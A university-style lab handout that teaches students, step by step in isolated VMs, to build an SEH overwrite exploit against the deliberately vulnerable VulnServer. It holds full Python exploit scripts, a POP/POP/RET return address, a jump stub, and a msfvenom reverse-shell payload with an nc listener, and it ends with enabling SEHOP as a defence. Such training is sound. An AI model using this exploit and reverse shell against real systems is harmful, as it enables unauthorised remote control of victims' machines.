Proj 15: SEH-Based Stack Overflow Exploit (25 pts.)

Purpose

Learn how the SEH works and how to exploit it in a very simple case.

We will use these techniques:

What You Need

WARNING

VulnServer is unsafe to run. The Windows machine will be vulnerable to compromise. I recommend performing this project on virtual machines with NAT networking mode, so no outside attacker can exploit your windows machine.

Preparing the Vulnerable Server

On your Windows machine, open a Web browser and go to

http://sites.google.com/site/lupingreycorner/vulnserver.zip

If that link doesn't work, try this alterative download link.

Save the "vulnserver.zip" file on your desktop.

On your desktop, right-click vulnserver.zip.

Click "Extract All...", Extract.

A "vulnserver" window opens. Double-click vulnserver. The Vulnserver application opens, as shown below.

Turning Off Windows Firewall

On your Windows desktop, click Start.

In the Search box, type FIREWALL

Click "Windows Firewall".

Turn off the firewall for both private and public networks.

Finding your Windows Machine's IP Address

On your Windows Machine, open a Command Prompt. Execute the IPCONFIG command. Find your IP address and make a note of it.

Testing the Server

On your Kali Linux machine, in a Terminal window, execute this command:

Replace the IP address with the IP address of your Windows machine.

nc 192.168.119.130 9999
You should see a banner saying "Welcome to Vulnerable Server!", as shown below.

Type HELP and press Enter. You see a lot of commands. None of these actually do anything useful, but they do take input and process it.

On your Kali Linux machine, in the Terminal window, type EXIT and press Enter to close your connection to Vulnerable Server.

Installing the Immunity Debugger

On your Windows 7 machine, open a Web browser and go to

http://debugger.immunityinc.com/ID_register.py

Fill in the form. Use fake information if you like.

Click the Download button. Save the file. The file is 22.7 MB in size.

When the download completes, double-click the ImmunityDebugger_1_85_setup file and install the software with the default options. It will also install Python.

Installing MONA

MONA is a python module which gives Immunity the ability to list modules and search through them.

On your Windows machine, open a Web browser, and open this page:

https://github.com/corelan/mona

A Github page opens, as shown below.

On the left side, near the bottom, click mona.py.

On the right side of the page, right-click Raw, and click "Save Target As". Save the file in your Downloads folder.

Alternate Download Link

mona.7z

On the taskbar, click the yellow folder icon to open Windows Explorer. Navigate to your Downloads folder. Right-click mona and click Copy, as shown below.

In Windows Explorer, in the left pane, expand the Computer container.

If you are using a 64-bit system, navigate to:

C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

If you are using a 32-bit system, navigate to:

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

In the right pane of Windows Explorer, right-click and click Paste.

A box pops up saying "You'll need to provide administrator permission...". Click Continue.

Mona appears in the window, as shown below.

Running "Vulnerable Server" in Immunity

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator".

If a "User Account Control" box appears, click Yes.

If you see a jumble of windows, click Window, CPU and maximize the CPU window.

Maximize the Immunity window.

In Immunity, click File, Open.

In the "open 32-bit executable" box, navigate to your Desktop, open the vulnserver folder, and open the vulnserver.exe file.

In the Immunity toolbar, click the magenta "Run" button.

Verify that the status in the lower right corner is "Running", as shown below.

Sending an Attack to "Vulnerable Server"

In the "Fuzzing" project, we found the vulnerability we are using now: the GMON command crashed when sent 16 groups of 253 characters.

To make it easier to see our injected characters, we'll use an attack with 253 'A' characters, then the 253 allowed ASCII characters in order, then 14 groups of characters, 'B' through 'O'.

In your Kali Linux machine, in a Terminal window, execute this command:

nano vs-seh1
In the nano window, type or paste this code.

Replace the IP address with the IP address of your Windows machine.

#!/usr/bin/python
import socket
server = '192.168.119.130'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

chars = ''
for i in range(1,10):
   chars += chr(i)
for i in range(11,13):
   chars += chr(i)
for i in range(13,255):
   chars += chr(i)

letters = ''
for l in ['B', 'C', 'D', 'E', 'F', 'G', 'H',
          'I', 'J', 'K', 'L', 'M', 'N', 'O']:
   letters += 253 * l
attack = 'A' * 253 + chars + letters

s.send(('GMON ' + attack + '\r\n'))
print s.recv(1024)

s.send('EXIT\r\n')
print s.recv(1024)
s.close()

To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.

Execute these commands to make the program executable and run it:

chmod a+x vs-seh1

./vs-seh1

Analyzing the Crash in Immunity

On the Windows machine, Immunity shows the crash, with this message on the lower left of the window: "Access violation when writing to [017C0000]", as shown below.

The top left pane of Immunity shows the instruction being processed, which is highlighted: "MOV DWORD PTR DS:[EDI],EDX"

The top right pane of Immunity shows the registers: EDX contains 4E4E4E4E, which is 'NNNN' in ASCII, as shown in the chart below. This is from the injected characters, so we can control it.

Also, notice that ECX and EBP point to characters we injected--those are places where we might want to put shellcode, but as we will see, that won't work.

Observing the SEH Chain

In Immunity, click View, "SEH Chain".

As shown below, the SEH chain is corrupt, containing the "SE Handler" value of 4D4D4D4D which is 'MMMM' in ASCII. This is from the injected characters, so we can control it.

Resuming Code Execution

In previous buffer overflow exploits, we prevented the crash by carefully adjusting the EIP to point to our shellcode.

But to exploit the SEH, we allow the crash to happen, which causes the code to run code at the "SE handler" address. Since we can control that, we'll point the "SE handler" address to our shellcode.

Resuming Execution in Immunity

In Immunity, click View, CPU.

Click the magenta Run button.

The message at the bottom appears again, saying "Access violation when writing to [017C0000] -- use Shift+F7/F8/F9 to pass exception to program".

Press Shift+F9. (If you are using VMware Fusion on a Mac, press Shift+fn+F9.) Now Immunity says "Access violation when executing [4D4D4D4D]", as shown below.

Look at the top right pane in Immunity. None of the registers point to the injected ASCII characters anymore.

This happens because Windows sets all CPU registers to zero when using the SEH, precisely to prevent attacks like the one we are developing.

So we'll need to find some other way to execute the injected shellcode.

Understanding the Stack Pane

Look at the lower right pane in Immunity. This shows the Stack.

The leftmost value is the address on the stack, which count up 4 bytes at a time.

The second value is the contents at that address, which is usually a pointer to something elsewhere in memory.

The third value shows the memory contents the pointer points to.

Notice the third item: it says ASCII "MMMMMMMMMMMMMMMMM

This is from the injected characters, so we can control it.

The Attack Strategy

Here are the things we need to do:

Restarting "Vulnerable Server" in Immunity

Close Immunity.

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator".

In the User Account Control box, click Yes.

In Immunity, click File. Click the first remembered item, "C:\...vulnserver.exe", as shown below.

In the Immunity toolbar, click the magenta "Run" button.

Targeting the Locations We Need

The EIP currently contains 4D4D4D4D, or 'MMMM', so we need to replace the 'M' characters with the 253 bytes in order.

The third item on the stack is also currently pointing to 'M' characters, so the same replacement will allow us to find it.

In your Kali Linux machine, in a Terminal window, execute this command:

nano vs-seh2
In the nano window, type or paste this code.

Replace the IP address with the IP address of your Windows machine.

#!/usr/bin/python
import socket
server = '192.168.119.130'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

chars = ''
for i in range(1,10):
   chars += chr(i)
for i in range(11,13):
   chars += chr(i)
for i in range(13,255):
   chars += chr(i)

letters1 = ''
for l in ['B', 'C', 'D', 'E', 'F', 'G', 'H',
          'I', 'J', 'K', 'L']:
   letters1 += 253 * l

letters2 = ''
for l in ['N', 'O']:
   letters2 += 253 * l

attack = 'A' * 253 + chars + letters1 + chars + letters2

s.send(('GMON ' + attack + '\r\n'))
print s.recv(1024)

s.send('EXIT\r\n')
print s.recv(1024)
s.close()

To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.

Execute these commands to make the program executable and run it:

chmod a+x vs-seh2

./vs-seh2

Figuring Out the Locations

Immunity says "Access violation when writing to [017B0000]".

Press Shift+F9.

Now Immunity says "Access violation when executing [EFEEEDEC]", as shown below.

This means the EIP was controlled by the four bytes starting with EC in the 253-byte pattern. Hexdecimal EC = 14*16 + 12 = 236, but this attack pattern skips bytes 00, 0A, and 0C, so it's actually 233 bytes into the region.

So to target EIP, use the 4 bytes after the first 232 bytes of the 253-byte pattern.

To find the location pointed to by the third item in the stack, click it in the lower right pane, then right-click it, and click "Follow in Dump", as shown below.

The lower left pane now shows that the third item in the stack points to data starting with "E8 E9 EA", as shown below.

The third item on the stack points to a location just 4 bytes before the data that will end up in the EIP.

So we have only 4 bytes to insert shellcode. We'll fix that by putting JMP instruction there later.

Restarting "Vulnerable Server" in Immunity

Close Immunity.

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator".

In the User Account Control box, click Yes.

In Immunity, click File. Click the first remembered item, "C:\...vulnserver.exe", as shown below.

In the Immunity toolbar, click the magenta "Run" button.

Testing Precise Control of EIP

Let's modify the exploit to put '1234' in the EIP and '\xCC\xCC\xCC\xCC' in the location for our shellcode, and run that just to make sure the address calculations are exactly correct.

Let's also simplify the letters to use 'B' before the shellcode and EIP and 'F' after.

In your Kali Linux machine, in a Terminal window, execute this command:

nano vs-seh3
In the nano window, type or paste this code.

Replace the IP address with the IP address of your Windows machine.

#!/usr/bin/python
import socket
server = '192.168.119.130'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

chars = ''
for i in range(1,10):
   chars += chr(i)
for i in range(11,13):
   chars += chr(i)
for i in range(13,255):
   chars += chr(i)

letters1 = 'B' * 11 * 253
skip = 'B' * 228
shellcode = '\xCC\xCC\xCC\xCC'
eip = '1234'
padding = 'F' * (253 - 228 - 4 - 4)
letters2 = 'F' * 2 * 253

prefix = 'A' * 253 + chars + letters1 + skip
attack = prefix + shellcode + eip + padding + letters2

s.send(('GMON ' + attack + '\r\n'))
print s.recv(1024)

s.send('EXIT\r\n')
print s.recv(1024)
s.close()
To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.

Execute these commands to make the program executable and run it:

chmod a+x vs-seh3

./vs-seh3

Examining the Crash in Immunity

Immunity says "Access violation when writing...".

Press Shift+F9.

Now Immunity says "Access violation when executing [46463433]", which is '34FF', as shown below.

Apparently the exploit is off by two bytes.

I looked for an arithmetic error quickly and didn't find one, but it doesn't really matter--we can just adjust the "skip" to be 2 bytes longer.

Restarting "Vulnerable Server" in Immunity

Close Immunity.

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator".

In the User Account Control box, click Yes.

In Immunity, click File. Click the first remembered item, "C:\...vulnserver.exe", as shown below.

In the Immunity toolbar, click the magenta "Run" button.

Trying Again to Target the EIP and Shellcode

In your Kali Linux machine, in a Terminal window, execute this command:
nano vs-seh4
In the nano window, type or paste this code.

Replace the IP address with the IP address of your Windows machine.

#!/usr/bin/python
import socket
server = '192.168.119.130'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

chars = ''
for i in range(1,10):
   chars += chr(i)
for i in range(11,13):
   chars += chr(i)
for i in range(13,255):
   chars += chr(i)

letters1 = 'B' * 11 * 253
skip = 'B' * 230
shellcode = '\xCC\xCC\xCC\xCC'
eip = '1234'
padding = 'F' * (253 - 230 - 4 - 4)
letters2 = 'F' * 2 * 253

prefix = 'A' * 253 + chars + letters1 + skip
attack = prefix + shellcode + eip + padding + letters2

s.send(('GMON ' + attack + '\r\n'))
print s.recv(1024)

s.send('EXIT\r\n')
print s.recv(1024)
s.close()
To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.

Execute these commands to make the program executable and run it:

chmod a+x vs-seh4

./vs-seh4

Examining the Crash in Immunity

Immunity says "Access violation when writing...".

Press Shift+F9.

Now Immunity says "Access violation when executing [34333231]", which is '1234', as shown below.

We now have precisely hit the EIP.

Saving a Screen Image

Make sure the "Access violation when executing [34333231]" message is visible.

Click on the host system's desktop.

Press the PrintScrn key to copy the whole desktop to the clipboard.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Paste the image into Paint.

Save the document with the filename "YOUR NAME Proj 15a", replacing "YOUR NAME" with your real name.

Examining the Stack

Let's examine the stack's third item.

In the lower right pane of Immunity, left-click the third item on the stack. Right-click it and click "Follow in Dump".

In the lower left pane, the dump shows the four CC bytes, as shown below.

So we have also precisely hit the shellcode.

Viewing Modules with MONA

We'll need to find a POP/POP/RETN series of instructions in a module.

In Immunity, at the bottom, there is a white bar. Click in that bar and type this command, followed by the Enter key:


!mona modules
The modules appear, as shown below.

We need to find a module that won't move, as in the previous projects, so we want Rebase = False and ASLR = False.

In addition, we plan to exploit the SEH, so we need SafeSEH = False.

SafeSEH only allows address ranges specified in the EXE file at compile time to be used as SE handlers. That would make this attack very difficult, but, as before, the simple way to avoid it is to find a module compiled without the SafeSEH option.

There are two modules without any of these protections: essfunc.dll and vulnserver.exe. However, vulnserver.exe is loaded too low in memory, so its addresses begin with a null byte.

So the only module we can use is essfunc.dll.

Redirecting MONA Logs

We'll need to see files created by Mona, so let's put them somewhere convenient.

In Immunity, at the bottom, there is a white bar. Click in that bar and type this command, followed by the Enter key. Adjust the username from "sam" to the correct username on your system, which is probably 'Student' if you are working in S214.


!mona config -set workingfolder c:\users\sam\documents

Finding ROP Gadgets with Mona

Mona can automatically hunt for useful snippets of code, called "gadgets".

In Immunity, at the bottom, there is a white bar. Click in that bar and type this command, followed by the Enter key:


!mona rop -m essfunc.dll
The search completes in a few seconds, and the log window closes.

Minimize Immunity. Open your Documents folder and double-click stackpivot.txt.

At the bottom of this file, there's a list of available POP POP RETN locations. as shown below.

Let's use the first one:

0x625010b4

Restarting "Vulnerable Server" in Immunity

Close Immunity.

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator".

In the User Account Control box, click Yes.

In Immunity, click File. Click the first remembered item, "C:\...vulnserver.exe", as shown below.

In the Immunity toolbar, click the magenta "Run" button.

Testing the Stack Pivot

Let's insert that address into our attack, and see if it hits the CC (INT 3) instructions we put where our shellcode will be.

In your Kali Linux machine, in a Terminal window, execute this command:

nano vs-seh5
In the nano window, type or paste this code.

Replace the IP address with the IP address of your Windows machine.

#!/usr/bin/python
import socket
server = '192.168.119.130'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

chars = ''
for i in range(1,10):
   chars += chr(i)
for i in range(11,13):
   chars += chr(i)
for i in range(13,255):
   chars += chr(i)

letters1 = 'B' * 11 * 253
skip = 'B' * 230
shellcode = '\xCC\xCC\xCC\xCC'
eip = '\xb4\x10\x50\x62'
padding = 'F' * (253 - 230 - 4 - 4)
letters2 = 'F' * 2 * 253

prefix = 'A' * 253 + chars + letters1 + skip
attack = prefix + shellcode + eip + padding + letters2

s.send(('GMON ' + attack + '\r\n'))
print s.recv(1024)

s.send('EXIT\r\n')
print s.recv(1024)
s.close()
To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.

Execute these commands to make the program executable and run it:

chmod a+x vs-seh5

./vs-seh5

Examining the Crash in Immunity

Immunity says "Access violation when writing...".

Press Shift+F9.

Now Immunity says "INT3 command", as shown below.

We have achieved execution of code we have control of!

Planning the Execution Path

We'd like to have about 400 bytes to insert fun shellcode.

In the lower right pane of Immunity, left-click the third item on the stack. Right-click it and click "Follow in Dump".

In the lower left pane, we see what we have to work with.

We have four bytes of code we can control, currently containing CC CC CC CC.

We can put a JMP there to go somewhere else.

It takes 4 bytes to perform a relative JMP to a 16-byte offset, and we can move approximately 32,768 bytes forward or backwards. For more information, see this Wikipedia page.

We could jump forward, but there's not much point--as you can see in the Dump pane, there are only about 50 'F' characters visible. We may not control more than that.

Instead, scroll up in the lower left pane of Immunity.

Look at that! page after page of lovely 'B' characters, as shown below.

There are thousands of them, and we control them all. This is a fine place to insert shellcode.

Planning the Attack

Here's the plan:

Finding the Hex Codes for JMP SHORT -32

Kali Linux contains a handy utility for converting assembly language to hex codes.

In Kali Linux, in a Terminal window, execute this command:

locate nasm_shell
The utility is located in a metasploit-framework directory, as shown below.

Copy and paste in the complete utility path to execute it.

Once nasm starts, type JMP SHORT -32 and press Enter to convert it to hexadecimal codes, as shown below.

The hexadecimal code for a "JMP SHORT -32" instruction is

EBDE

Restarting "Vulnerable Server" in Immunity

Close Immunity.

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator".

In the User Account Control box, click Yes.

In Immunity, click File. Click the first remembered item, "C:\...vulnserver.exe", as shown below.

In the Immunity toolbar, click the magenta "Run" button.

Making Room for the Shellcode

Currently we have this stuff before the shellcode, with length = 11 * 253 + 230:
letters1 = 'B' * 11 * 253
skip = 'B' * 230
The total length of this is 11*253 + 230 = 3013.

Let's replace it with this:

prefix3 = 'B' * 1500
nopsled3 = '\x90' * 800
shellcode3 = '\xCC' * 500
padding3 = 'C' * (3013 - 2800)

In your Kali Linux machine, in a Terminal window, execute this command:

nano vs-seh6
In the nano window, type or paste this code.

Replace the IP address with the IP address of your Windows machine.

#!/usr/bin/python
import socket
server = '192.168.119.130'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

chars = ''
for i in range(1,10):
   chars += chr(i)
for i in range(11,13):
   chars += chr(i)
for i in range(13,255):
   chars += chr(i)

prefix3 = 'B' * 1500
nopsled3 = '\x90' * 800
shellcode3 = '\xCC' * 500
padding3 = 'C' * (3013 - 2800)

shellcode = '\xCC\xCC\xCC\xCC'
eip = '\xb4\x10\x50\x62'
padding = 'F' * (253 - 230 - 4 - 4)
letters2 = 'F' * 2 * 253

prefix = 'A' * 253 + chars + prefix3 + nopsled3 + shellcode3 + padding3
attack = prefix + shellcode + eip + padding + letters2

s.send(('GMON ' + attack + '\r\n'))
print s.recv(1024)

s.send('EXIT\r\n')
print s.recv(1024)
s.close()
To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.

Execute these commands to make the program executable and run it:

chmod a+x vs-seh6

./vs-seh6

Examining the Crash in Immunity

Immunity says "Access violation when writing...".

Press Shift+F9.

Now Immunity says "INT3 command", as shown below.

In the lower right pane of Immunity, left-click the third item on the stack. Right-click it and click "Follow in Dump".

In the lower left pane, you see the CC CC CC CC INT3 commands, as shown above. This is where we will later put the JMP word -1000 command.

In the lower left pane, scroll up to find the 'B' values, followed by '\x90' NOPs, as shown below.

At the end of the NOPs come 'C' values, as shown below.

The 'C' values continue up to the CC CC CC CC INT3 commands.

Restarting "Vulnerable Server" in Immunity

Close Immunity.

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator".

In the User Account Control box, click Yes.

In Immunity, click File. Click the first remembered item, "C:\...vulnserver.exe", as shown below.

In the Immunity toolbar, click the magenta "Run" button.

Inserting a JMP SHORT Instruction

Currently we have this shellcode:
shellcode = '\xCC\xCC\xCC\xCC'
Unfortunately, we cannot use a full 32-bit JMP because it's 5 bytes long. The hex codes for JMP SHORT -32 are EBDE, so let's change this to:
shellcode = '\xEB\xDE\x41\x41'    # JMP SHORT -32
Note that machine language instructions are inserted in the correct order, NOT in reverse order like addresses.

The last 2 bytes are not important, so I put 'A' in them.

Marking a Place for the Big Jump

We need to place the 1000 byte jump (the Big Jump) 32 bytes before the JMP SHORT instruction.

So far we have:

padding3 = 'C' * (3013 - 2800)

shellcode = '\xEB\xDE\x41\x41'   # JMP SHORT -32
Let's change it to this, filling the last 44 bytes with CC (INT 3) commands, so the execution will stop when we get there and we can see just where we are.
padding3 = 'C' * (3013 - 2800 - 44)
bigjump = '\xCC' * 44 

shellcode = '\xEB\xDE\x41\x41'   # JMP SHORT -32

Putting it Together

In your Kali Linux machine, in a Terminal window, execute this command:

nano vs-seh7
In the nano window, type or paste this code.

Replace the IP address with the IP address of your Windows machine.

#!/usr/bin/python
import socket
server = '192.168.119.130'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

chars = ''
for i in range(1,10):
   chars += chr(i)
for i in range(11,13):
   chars += chr(i)
for i in range(13,255):
   chars += chr(i)

prefix3 = 'B' * 1500
nopsled3 = '\x90' * 800
shellcode3 = '\xCC' * 500
padding3 = 'C' * (3013 - 2800 - 44)
bigjump = '\xCC' * 44 

shellcode = '\xEB\xDE\x41\x41'   # JMP SHORT -32
eip = '\xb4\x10\x50\x62'
padding = 'F' * (253 - 230 - 4 - 4)
letters2 = 'F' * 2 * 253

prefix = 'A' * 253 + chars + prefix3 + nopsled3 + shellcode3 + padding3 + bigjump
attack = prefix + shellcode + eip + padding + letters2

s.send(('GMON ' + attack + '\r\n'))
print s.recv(1024)

s.send('EXIT\r\n')
print s.recv(1024)
s.close()
To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.

Execute these commands to make the program executable and run it:

chmod a+x vs-seh7

./vs-seh7

Examining the Crash in Immunity

Immunity says "Access violation when writing...".

Press Shift+F9.

Now Immunity says "INT3 command", as shown below.

In the upper left pane of Immunity, scroll up to see the start of the CC bytes.

There are 13 CC bytes before the EIP, and the EIP was incremented after executing the INT 3, so there are 12 CC bytes before the entry point.

The Big Jump Code

This is the sequence of assembly insructions we will use to jump back 1000 bytes:
59              POP ECX
FE CD           DEC CH
FE CD           DEC CH
FE CD           DEC CH
FE CD           DEC CH
FF E1           JMP ECX
E8 F0 FF FF FF  CALL [relative -0F]
To understand this code, first realize that it starts with the CALL instruction, so there are 11 bytes of code before the entry point.

The CALL instruction pushes the current EIP onto the stack, and then jumps back 15 bytes to the POP ECX instruction.

The POP ECX puts the top item on the stack into the ECX register.

DEC CH subtracts one from the second-to-least-significant byte of the CX register. That is, ech DEC CH moves the location back by 256 bytes.

Performing 4 DEC CH operations moves CX back 1024 bytes.

Finally, JMP ECX moves to the calculated location, approximately 1000 bytes earlier in RAM.

I got this from here.

Inserting the Big Jump into the Attack

At the moment we have this:
bigjump = '\xCC' * 44 
We know the entry point is 13 bytes in to this 44-byte section, and the Big Jump code we are using has 11 bytes before its entry point, so we can build the exploit this way:
bigjump  = '\xCC'		# Padding
bigjump += '\x59'		# POP ECX
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFF\xE1'	# JMP ECX
bigjump += '\xE8\xF0\xFF\xFF\xFF'	# CALL [relative -0F]
bigjump += '\xCC' * (44 - 17)		# Padding

Restarting "Vulnerable Server" in Immunity

Close Immunity.

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator".

In the User Account Control box, click Yes.

In Immunity, click File. Click the first remembered item, "C:\...vulnserver.exe", as shown below.

In the Immunity toolbar, click the magenta "Run" button.

The Attack Including the Big Jump

In your Kali Linux machine, in a Terminal window, execute this command:
nano vs-seh8
In the nano window, type or paste this code.

Replace the IP address with the IP address of your Windows machine.

#!/usr/bin/python
import socket
server = '192.168.119.130'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

chars = ''
for i in range(1,10):
   chars += chr(i)
for i in range(11,13):
   chars += chr(i)
for i in range(13,255):
   chars += chr(i)

prefix3 = 'B' * 1500
nopsled3 = '\x90' * 800
shellcode3 = '\xCC' * 500
padding3 = 'C' * (3013 - 2800 - 44)

bigjump  = '\xCC'		# Padding
bigjump += '\x59'		# POP ECX
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFF\xE1'	# JMP ECX
bigjump += '\xE8\xF0\xFF\xFF\xFF'	# CALL [relative -0F]
bigjump += '\xCC' * (44 - 17)		# Padding

shellcode = '\xEB\xDE\x41\x41'   # JMP SHORT -32
eip = '\xb4\x10\x50\x62'
padding = 'F' * (253 - 230 - 4 - 4)
letters2 = 'F' * 2 * 253

prefix = 'A' * 253 + chars + prefix3 + nopsled3 + shellcode3 + padding3 + bigjump
attack = prefix + shellcode + eip + padding + letters2

s.send(('GMON ' + attack + '\r\n'))
print s.recv(1024)

s.send('EXIT\r\n')
print s.recv(1024)
s.close()
To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.

Execute these commands to make the program executable and run it:

chmod a+x vs-seh8

./vs-seh8

Stepping Through the Crash in Immunity

This is getting complicated, so it's time to use a breakpoint in Immunity so we can single-step through the code.

Immunity says "Access violation when writing...".

In the top left pane of Immunity, right-click and click "Go to", Expression, as shown below:

In the "Enter expression to follow" box, type 0x625010b4 as shown below. This is the address of the POP POP RET command sequence we found in essfunc.dll.

In the "Enter expression to follow" box, click OK.

The top left pane jumps to that address, which contains a POP EBX instruction.

Press F2 to set a breakpoint here. The address grows a red highlight, as shown below.

Now press Shift+F9 to resume execution, passing the exception on to "Vulnerable Server".

The code runs through the SE handler, and enters the POP POP RET code, where it stops with the message "Breakpoint at essfunc.625010B4", as shown below.

Now press F7 three times, to step through POP POP RET.

When the RET instruction is executed, the program moves to the JMP SHORT instruction we injected, as shown below.

Press F7 once more.

The program jumps to the CALL instruction we injected, the entry point for the Big Jump, as shown below.

Press F7 six times.

The program steps through the Big Jump code, ending at the JMP ECX instruction, as shown below.

Notice the values of EIP and ECX.

In the figure above, they are:

EIP 0171FFA2
ECX 0171FBA9
ECX should be approximately equal to EIP - 0x400, and you can see that is the case, because in hexadecimal,
 FA2 
-400 
---- 
 BA2
So the JMP ECX shold move back approximately 1024 bytes.

Press F7 once more.

The program jumps back into the NOP sled, as shown below.

Now hold down F7 to step through the NOP sled and reach the INT 3 commands. It took 18 seconds when I did it, as shown below.

Restarting "Vulnerable Server" in Immunity

Close Immunity.

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator".

In the User Account Control box, click Yes.

In Immunity, click File. Click the first remembered item, "C:\...vulnserver.exe", as shown below.

In the Immunity toolbar, click the magenta "Run" button.

Starting a Listener

On your Kali Linux machine, open a new Terminal window and execute this command.
nc -nlvp 443
Leave this window open, so it is ready for the Windows machine to connect.

Finding your Kali Machine's IP Address

On your Kali Linux machine, in a Terminal window, execute this command.
ifconfig
Find your Kali machine's IP address and make a note of it.

Generating Exploit Code

On your Kali Linux machine, in a Terminal window, execute the command below.

Replace the IP address with the IP address of your Kali Linux machine.

msfvenom -p windows/shell_reverse_tcp LHOST="192.168.119.141" LPORT=443 EXITFUNC=thread -b '\x00\x0A\x0D' -f python > vs-seh-attack
This command makes an exploit that will connect from the Windows target back to the Kali Linux attacker on port 443 and execute commands from Kali.

It's encoded avoiding the three characters we know to be bad.

The exploit is output directly into a file named "seh-attack" because it's too long to see all at once in a Terminal window.

As shown below, the shellcode is 351 bytes long.

Planning How to Insert the Shellcode

At present, we have this placeholder where we want to insert the shellcode:
shellcode3 = '\xCC' * 500
Remember that some metasploit shellcodes like to use bytes before and after the shellcode, so it's wise to add some padding before and after it.

Let's replace it with this:

nopsled4 = '\x90' * 16
buf = (
	# PUT shellcode here
)
padding4 = 'F' * (500 - 16 - len(buf))
shellcode3 = nopsled4 + buf + padding4

Assembling the Final Attack

In your Kali Linux machine, in a Terminal window, execute this command:
nano vs-seh-attack
Nano opens, showing the shellcode, starting with "buf =", as shown below.

Insert this code at the start of the file.

Replace the IP address with the IP address of your Windows machine.

#!/usr/bin/python
import socket
server = '192.168.119.140'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

chars = ''
for i in range(1,10):
   chars += chr(i)
for i in range(11,13):
   chars += chr(i)
for i in range(13,255):
   chars += chr(i)

prefix3 = 'B' * 1500
nopsled3 = '\x90' * 800

nopsled4 = '\x90' * 16
Your screen should look like this:

Use the down-arrow key to scroll to the bottom of the file, and add this code to the end of the file:

padding4 = 'F' * (500 - 16 - len(buf))
shellcode3 = nopsled4 + buf + padding4

padding3 = 'C' * (3013 - 2800 - 44)

bigjump  = '\xCC'		# Padding
bigjump += '\x59'		# POP ECX
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFE\xCD'	# DEC CH
bigjump += '\xFF\xE1'	# JMP ECX
bigjump += '\xE8\xF0\xFF\xFF\xFF'	# CALL [relative -0F]
bigjump += '\xCC' * (44 - 17)		# Padding

shellcode = '\xEB\xDE\x41\x41'   # JMP SHORT -32
eip = '\xb4\x10\x50\x62'
padding = 'F' * (253 - 230 - 4 - 4)
letters2 = 'F' * 2 * 253

prefix = 'A' * 253 + chars + prefix3 + nopsled3 + shellcode3 + padding3 + bigjump
attack = prefix + shellcode + eip + padding + letters2

s.send(('GMON ' + attack + '\r\n'))
print s.recv(1024)

s.send('EXIT\r\n')
print s.recv(1024)
s.close()
To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.

Execute these commands to make the program executable and run it:

chmod a+x vs-seh-attack

./vs-seh-attack

Observing the Crash in Immunity

Immunity stops with an "Access violation when writing...". Press Shift+F9.

A shell opens in the Kali listener window, as shown below.

Exploiting the Server Alone

On the Windows machine, close Immunity.

Close vulnserver.

Launch vulnserver.exe alone.

In your Kali Linux machine, press Ctrl+C to cancel the operations in both windows.

In one Terminal window, execute this command:

nc -nlvp 443
In the other Terminal window, execute this command:
./vs-seh-attack
A shell opens in the Kali listener window, as shown below.

Saving a Screen Image

Make sure these three highlighted items are visible: Click on the host system's desktop.

Press the PrintScrn key to copy the whole desktop to the clipboard.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Paste the image into Paint.

Save the document with the filename "YOUR NAME Proj 15b", replacing "YOUR NAME" with your real name.

Turning on SEHOP

SEHOP is a defense Microsoft added to Windows Server 2003 and Vista. Server 2003 has it enabled by default, but Vista and Windows 7 have it disabled by default, to avoid breaking legacy software.

In Windows 7 you can enable SEHOP on each application separately with a Registry key.

From your Windows Server 2008 desktop, click Start. Type in REGEDIT and press Enter.

If a "User Account Control" box pops up, click Yes.

In Registry Editor, in the, left pane, expand these items:

In the left pane, right-click "Image File Execution Options" and click New, Key, as shown below.

Type this name into the label for the new key:

vulnserver.exe
Press Enter to save the name.

In the right pane of Regedit, right-click in the empty space and click New, "DWORD (32-bit) VALUE", as shown below.

Type this name into the label for the new value:

